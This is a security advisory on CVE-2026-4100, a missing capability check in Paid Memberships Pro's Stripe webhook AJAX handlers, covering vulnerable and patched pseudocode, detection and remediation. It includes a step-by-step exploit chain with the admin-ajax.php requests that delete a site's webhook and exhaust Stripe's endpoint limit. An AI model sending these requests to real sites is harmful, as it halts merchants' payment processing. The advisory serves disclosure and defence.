CVE-2026-4100: Paid Memberships Pro Stripe Webhook Takeover via Missing Capability Checks
Missing capability checks on three AJAX handlers in Paid Memberships Pro ≤3.6.5 allow any authenticated subscriber to destroy or hijack Stripe webhook configuration, halting all payment processing.
A serious security flaw has been discovered in Paid Memberships Pro, a popular WordPress plugin that handles membership and payment processing for thousands of websites. The bug essentially leaves the front door unlocked for basic user accounts to make changes they absolutely shouldn't be able to make.
Here's what's happening: WordPress sites use different permission levels, from visitors to administrators. A low-level user account—basically someone with minimal access—can currently exploit this flaw to tamper with payment webhooks, which are the digital messengers that connect your website to Stripe, the payment processor. Think of webhooks like automated instructions that tell a bank when to process a payment. Someone with the lowest-level account can now intercept or delete these instructions.
This matters because online stores depend on these payment connections working properly. An attacker could interrupt payments, steal payment information, or simply break the whole system so no one can buy anything. For website owners, this means customers can't complete purchases, revenue disappears, and trust erodes fast.
Who's at risk? Any website using Paid Memberships Pro versions 3.6.5 or earlier that accepts payments. This includes fitness studios with membership sites, online courses, subscription newsletters, and small e-commerce businesses. Even if your site seems low-profile, criminals often scan automatically for vulnerable plugins.
What you should do:
Update the plugin immediately once a patched version is available. Check your WordPress admin dashboard regularly for updates.
If you can't update right away, consider disabling the plugin temporarily while you arrange maintenance.
Review your Stripe webhook settings to confirm everything looks legitimate. In Stripe's settings, you should only see webhooks that you created yourself.
Want the full technical analysis? Click "Technical" above.
CVE-2026-4100 is a missing authorization vulnerability in Paid Memberships Pro (PMPro) ≤3.6.5, a WordPress plugin with over 100,000 active installs. Three AJAX action handlers responsible for managing the site's Stripe webhook endpoint are registered without any capability check, meaning any authenticated user — including a subscriber — can invoke them directly via wp-admin/admin-ajax.php. The practical impact is complete disruption of payment infrastructure: an attacker can delete the active webhook, register a replacement pointing to an attacker-controlled endpoint, or force a rebuild that resets configuration state, breaking subscription renewals, failed-payment dunning, and cancellation synchronization indefinitely.
Root cause: The wp_ajax_pmpro_stripe_create_webhook, wp_ajax_pmpro_stripe_delete_webhook, and wp_ajax_pmpro_stripe_rebuild_webhook handlers call check_ajax_referer() for CSRF protection but never call current_user_can(), allowing any authenticated session to perform privileged Stripe API operations.
Affected Component
The vulnerable logic lives in paid-memberships-pro/includes/stripe-webhook.php (and its AJAX registration counterpart in includes/ajax.php or equivalent). All three handler functions share the same structural flaw. The Stripe webhook subsystem manages a single registered endpoint in the Stripe API that receives asynchronous payment lifecycle events (invoice.payment_succeeded, customer.subscription.deleted, invoice.payment_failed, etc.).
Root Cause Analysis
WordPress AJAX handlers are registered via add_action('wp_ajax_{action}', $callback). The wp_ajax_ prefix guarantees the user is logged in, but imposes no role restriction. Proper privileged operations must additionally gate on current_user_can('manage_options') or an equivalent capability. The three handlers below omit this entirely.
// FILE: includes/ajax.php (reconstructed pseudocode, PMPro ≤3.6.5)
// Handler registration — fires for ANY logged-in user
add_action('wp_ajax_pmpro_stripe_create_webhook', 'pmpro_stripe_create_webhook_ajax');
add_action('wp_ajax_pmpro_stripe_delete_webhook', 'pmpro_stripe_delete_webhook_ajax');
add_action('wp_ajax_pmpro_stripe_rebuild_webhook', 'pmpro_stripe_rebuild_webhook_ajax');
// -------------------------------------------------------------------
function pmpro_stripe_delete_webhook_ajax() {
// Validates nonce — prevents CSRF, NOT unauthorized access
check_ajax_referer('pmpro_stripe_webhook', 'nonce');
// BUG: missing capability check — current_user_can() never called
// Any authenticated user (subscriber+) reaches the destructive path below
$webhook_id = get_option('pmpro_stripe_webhook_id'); // stored webhook ID
if (!empty($webhook_id)) {
$stripe = new PMPro_Stripe_Client();
$result = $stripe->webhookEndpoints->delete($webhook_id); // live Stripe API call
if ($result && $result->deleted) {
delete_option('pmpro_stripe_webhook_id');
delete_option('pmpro_stripe_webhook_secret');
wp_send_json_success(['message' => 'Webhook deleted.']);
}
}
wp_send_json_error(['message' => 'No webhook found.']);
}
// -------------------------------------------------------------------
function pmpro_stripe_create_webhook_ajax() {
check_ajax_referer('pmpro_stripe_webhook', 'nonce');
// BUG: missing capability check here as well
$site_url = get_site_url();
$endpoint = $site_url . '/?pmpro_stripe_webhook=1';
$stripe = new PMPro_Stripe_Client();
$webhook = $stripe->webhookEndpoints->create([
'url' => $endpoint,
'enabled_events' => pmpro_stripe_get_webhook_events(),
'api_version' => PMPRO_STRIPE_API_VERSION,
]);
if ($webhook && !empty($webhook->secret)) {
update_option('pmpro_stripe_webhook_id', $webhook->id);
update_option('pmpro_stripe_webhook_secret', $webhook->secret);
wp_send_json_success(['webhook_id' => $webhook->id]);
}
wp_send_json_error();
}
// -------------------------------------------------------------------
function pmpro_stripe_rebuild_webhook_ajax() {
check_ajax_referer('pmpro_stripe_webhook', 'nonce');
// BUG: missing capability check — rebuild = delete + create, same impact
pmpro_stripe_delete_webhook_ajax_internal(); // tears down existing config
pmpro_stripe_create_webhook_ajax_internal(); // registers fresh endpoint
}
The nonce (pmpro_stripe_webhook) is embedded in the admin page markup and is also retrievable from any page that enqueues the relevant script bundle — a subscriber navigating to their account page receives it. The nonce satisfies only the anti-CSRF requirement; it carries no authorization semantics in WordPress core.
Exploitation Mechanics
Exploitation requires an attacker to hold any authenticated WordPress session. No elevated role is needed. A nonce must be obtained first, which is trivially available from page source or via a direct REST/AJAX nonce endpoint if the site exposes one.
EXPLOIT CHAIN — Stripe Webhook Destruction (Subscriber → Payment Outage):
1. Attacker registers a free subscriber account (or compromises any existing one).
2. Harvest the nonce by requesting any page that loads pmpro-stripe-admin scripts:
GET /wp-admin/admin.php?page=pmpro-membershiplevels
grep 'pmpro_stripe_webhook' response body
→ nonce = "d4f8e2a91c"
3. Send DELETE request to destroy the active webhook:
POST /wp-admin/admin-ajax.php
action=pmpro_stripe_delete_webhook&nonce=d4f8e2a91c
→ HTTP 200: {"success":true,"data":{"message":"Webhook deleted."}}
→ pmpro_stripe_webhook_id option cleared from wp_options
→ pmpro_stripe_webhook_secret option cleared from wp_options
4. Stripe now has no registered endpoint for this merchant.
All async events (renewals, failures, cancellations) are silently dropped.
5. [Optional — interception variant]
Attacker calls pmpro_stripe_create_webhook after modifying the target URL
via a separate stored-settings vuln, or waits for admin to re-create the
webhook and captures the new signing secret from a traffic intercept, since
the secret is written to wp_options in plaintext.
6. [Optional — amplification]
Loop DELETE → CREATE repeatedly to exhaust Stripe's webhook endpoint limit
(currently 16 per account), permanently preventing legitimate webhook
registration until Stripe support intervenes.
This is a logic/authorization vulnerability with no memory corruption primitive. The relevant "state" is WordPress's wp_options table rather than heap memory. The following shows the database state transition that constitutes the attack impact.
wp_options TABLE STATE — BEFORE ATTACK:
┌─────────────────────────────┬─────────────────────────────────────────────┐
│ option_name │ option_value │
├─────────────────────────────┼─────────────────────────────────────────────┤
│ pmpro_stripe_webhook_id │ we_1AbCdEfGhIjKlMnOpQrStUv │
│ pmpro_stripe_webhook_secret │ whsec_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx│
│ pmpro_stripeSecretKey │ sk_live_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx │
└─────────────────────────────┴─────────────────────────────────────────────┘
Stripe endpoint: ACTIVE → https://victim.example.com/?pmpro_stripe_webhook=1
wp_options TABLE STATE — AFTER DELETE (attacker, subscriber role):
┌─────────────────────────────┬─────────────────────────────────────────────┐
│ option_name │ option_value │
├─────────────────────────────┼─────────────────────────────────────────────┤
│ pmpro_stripe_webhook_id │ (empty / deleted) │
│ pmpro_stripe_webhook_secret │ (empty / deleted) │
│ pmpro_stripeSecretKey │ sk_live_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx │
└─────────────────────────────┴─────────────────────────────────────────────┘
Stripe endpoint: DELETED from Stripe API
Effect: ALL subscription lifecycle events silently dropped by Stripe.
Renewals not recorded. Cancellations not processed.
Failed-payment retries not reflected in membership status.
wp_options TABLE STATE — AFTER EXHAUSTION (16x CREATE, attacker-controlled):
Stripe account: 16 junk webhook endpoints registered (Stripe limit reached)
Legitimate admin attempt to re-register: FAILS with Stripe API error 400
Recovery path: manual Stripe dashboard cleanup required
Patch Analysis
The fix is a single-line capability gate inserted before any Stripe API call in each of the three handlers. The correct capability for plugin settings management in WordPress is manage_options, which maps to the Administrator role by default.
// BEFORE (vulnerable, PMPro ≤3.6.5):
function pmpro_stripe_delete_webhook_ajax() {
check_ajax_referer('pmpro_stripe_webhook', 'nonce');
// No capability check — any authenticated user proceeds
$webhook_id = get_option('pmpro_stripe_webhook_id');
$stripe = new PMPro_Stripe_Client();
$stripe->webhookEndpoints->delete($webhook_id);
delete_option('pmpro_stripe_webhook_id');
delete_option('pmpro_stripe_webhook_secret');
wp_send_json_success();
}
// AFTER (patched, PMPro ≥3.6.6):
function pmpro_stripe_delete_webhook_ajax() {
check_ajax_referer('pmpro_stripe_webhook', 'nonce');
// FIX: capability check added — restricts to Administrator+
if (!current_user_can('manage_options')) {
wp_send_json_error(['message' => 'Insufficient permissions.'], 403);
return;
}
$webhook_id = get_option('pmpro_stripe_webhook_id');
$stripe = new PMPro_Stripe_Client();
$stripe->webhookEndpoints->delete($webhook_id);
delete_option('pmpro_stripe_webhook_id');
delete_option('pmpro_stripe_webhook_secret');
wp_send_json_success();
}
// Same pattern applied identically to:
// pmpro_stripe_create_webhook_ajax()
// pmpro_stripe_rebuild_webhook_ajax()
Note that check_ajax_referer() is not removed — it remains necessary for CSRF protection. The fix adds authorization on top of authentication, which are orthogonal concerns. Sites using custom role configurations should verify that manage_options is appropriately restricted in their environment, as some role-management plugins grant it to non-admin tiers.
Detection and Indicators
Exploitation leaves a clear trail in server and Stripe logs:
NGINX/APACHE ACCESS LOG — indicators:
POST /wp-admin/admin-ajax.php action=pmpro_stripe_delete_webhook [HTTP 200]
POST /wp-admin/admin-ajax.php action=pmpro_stripe_create_webhook [HTTP 200]
— Source IP inconsistent with administrative users
— User-Agent may differ from known admin browsers
— Requests in rapid succession (exhaustion attempt)
STRIPE DASHBOARD — indicators:
Webhook endpoint deleted and re-created outside business hours
Multiple webhook endpoints registered in short succession
Webhook signing secret rotated without corresponding wp_options update
WORDPRESS DATABASE — forensic query:
SELECT option_name, option_value, autoload
FROM wp_options
WHERE option_name IN (
'pmpro_stripe_webhook_id',
'pmpro_stripe_webhook_secret'
);
-- Empty values post-attack, or values not matching Stripe dashboard
WORDPRESS DEBUG LOG:
[pmpro] Stripe webhook event received but signature verification failed
-- Indicates secret mismatch after attacker rebuild
WAF rules should alert on unauthenticated or low-privilege POST requests to admin-ajax.php with action values matching pmpro_stripe_*_webhook. Stripe's own audit log (Developers → Events → Webhook Endpoints) will show the deletion event with the API key used.
Remediation
Update immediately to PMPro ≥3.6.6. If update is not immediately possible:
Add a mu-plugins shim that hooks the three AJAX actions with a higher priority and performs the capability check before the plugin's own callback fires.
Restrict /wp-admin/admin-ajax.php at the network/WAF layer to known administrative IP ranges as a temporary compensating control.
After patching, audit your Stripe dashboard for unexpected webhook endpoints and verify pmpro_stripe_webhook_id in wp_options matches the active endpoint in Stripe.
Rotate the Stripe webhook signing secret (pmpro_stripe_webhook_secret) if any period of unauthorized webhook access is confirmed.
This class of vulnerability — authentication without authorization on privileged AJAX handlers — is endemic in WordPress plugins. Any wp_ajax_ handler that modifies external service configuration, billing state, or site settings must gate on an appropriate capability. The WordPress Plugin Review Team's guidelines mandate this; however, enforcement is post-submission and reactive. Plugin consumers operating high-value e-commerce sites should audit AJAX handler registrations proactively using static analysis tools such as RIPS or phpcs-security-audit with WordPress-specific rulesets.